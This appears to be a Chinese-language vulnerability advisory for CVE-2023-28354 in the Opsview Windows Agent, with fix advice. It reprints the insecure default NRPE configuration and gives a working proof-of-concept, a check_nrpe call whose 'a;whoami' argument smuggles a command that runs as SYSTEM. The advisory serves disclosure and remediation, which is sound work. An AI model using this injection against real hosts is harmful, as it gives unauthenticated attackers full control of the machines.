stormfleet/cve-2023-28354CVE-2023-28354
Opsview Monitor Agent 6.8 中存在一个漏洞，允许未经认证的远程攻击者执行任意命令。未经认证的攻击者可以通过在调用默认的 Opsview Agent Monitor 脚本时提供命令行转义序列来利用此漏洞（针对 Windows 系统），从而执行任意系统命令。
Windows 上的 Opsview Agent 服务默认以 Local System 身份运行。此默认配置还包含多个 NRPE 处理器，允许管理员调用执行预定义功能（如查询系统状态、文件寿命或挂载点）的脚本。这些处理器配置为接受参数（allow_arguments=1）以及命令行转义字符（allow_nasty_meta_characters=1）。
在受影响版本的 Opsview Agent 中，NRPE 处理器被不安全地配置为将来自远程用户的命令输入和任何参数直接回显到 Powershell。
默认的 opsview.ini 配置文件：
75: [External Script]
76: ;# COMMAND ARGUMENT PROCESSING
77: ; This option determines whether or not the NRPE daemon will allow clients to specify arguments to commands that are executed.
78: allow_arguments=1
79:
80: ;# COMMAND ALLOW NASTY META CHARS
81: ; This option determines whether or not the NRPE daemon will allow clients to specify nasty (as in |`&><'"\[]{}) characters in arguments.
82: allow_nasty_meta_chars=1
[...]snip[...]
94: [NRPE Handlers]
95: check_mountpoint=cmd /c echo scripts\check_mountpoint.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
96: check_services_orig=cmd /c echo scripts\check_services.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
97: check_services=scripts\check_services.exe $ARG1$
98: check_clustergroup=cmd /c echo scripts\check_clustergroup.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
99: check_windows_base_orig=cmd /c echo scripts\check_windows_base.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
100: check_windows_base=scripts\check_windows_base.exe $ARG1$
101: check_msmq=cmd /c echo scripts\check_msmq.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
102: check_ms_iis=cmd /c echo scripts\check_ms_iis.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
103: check_ms_dns=cmd /c echo scripts\check_ms_dns.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
104: check_ms_sql_database_states=cmd /c echo scripts\check_ms_sql_database_states.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
105: check_ms_sql_performance=cmd /c echo scripts\check_ms_sql_performance.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
106: check_ms_sql_system=cmd /c echo scripts\check_ms_sql_system.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
107: check_ms_hyperv_server=cmd /c echo scripts\check_ms_hyperv_server.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
108: check_microsoft_exchange2016_backpressure=cmd /c echo scripts\check_microsoft_exchange2016_backpressure.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
109: check_microsoft_exchange2013_backpressure=cmd /c echo scripts\check_microsoft_exchange2013_backpressure.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
110: check_microsoft_exchange_counters=cmd /c echo scripts\check_microsoft_exchange_counters.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
111: check_microsoft_exchange=cmd /c echo scripts\check_microsoft_exchange.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
112: check_active_directory=cmd /c echo scripts\check_active_directory.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
113: check_windows_updates=cmd /c echo scripts\check_windows_updates.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
114: check_file_age=cmd /c echo scripts\checkfileage.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
115: check_counter=cmd /c echo scripts\check_counter.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
116: check_xen=cmd /c echo scripts\check_xen.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
117: check_horizon=cmd /c echo scripts\check_horizon.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
118: check_xencloud=cmd /c echo scripts\check_xencloud.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
119: check_wineventlog=cmd /c echo scripts\check_wineventlogn.ps1 $ARG1$; exit($lastexitcode) | PowerShell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command -
攻击者从 Linux 系统攻击默认安装时，可以使用 Nagios 的 check_nrpe 工具与已知处理器交互，并通过参数提供命令行转义和要远程执行的命令。
例如：
$ /usr/lib/nagios/plugins/check_nrpe -H 192.168.0.15 -c check_file_age -a "a;whoami"
CRITICAL: File a does not exist
nt authority\system
Screencast from 2025-04-10 10-52-02.webm
Opsview Windows Agent 28-09-2022 版本，以及 x64 和 Win32 发行版。
受影响产品的远程指纹：
OpsviewAgent 0.3.9.700 2022-09-28; osname=windows
升级至 Opsview Windows Agent 09-03-2023 版本。
注意：根据 ITRS 的通知，Opsview Agent 将不再接收任何更新。建议升级至 ITRS Infrastructure Agent。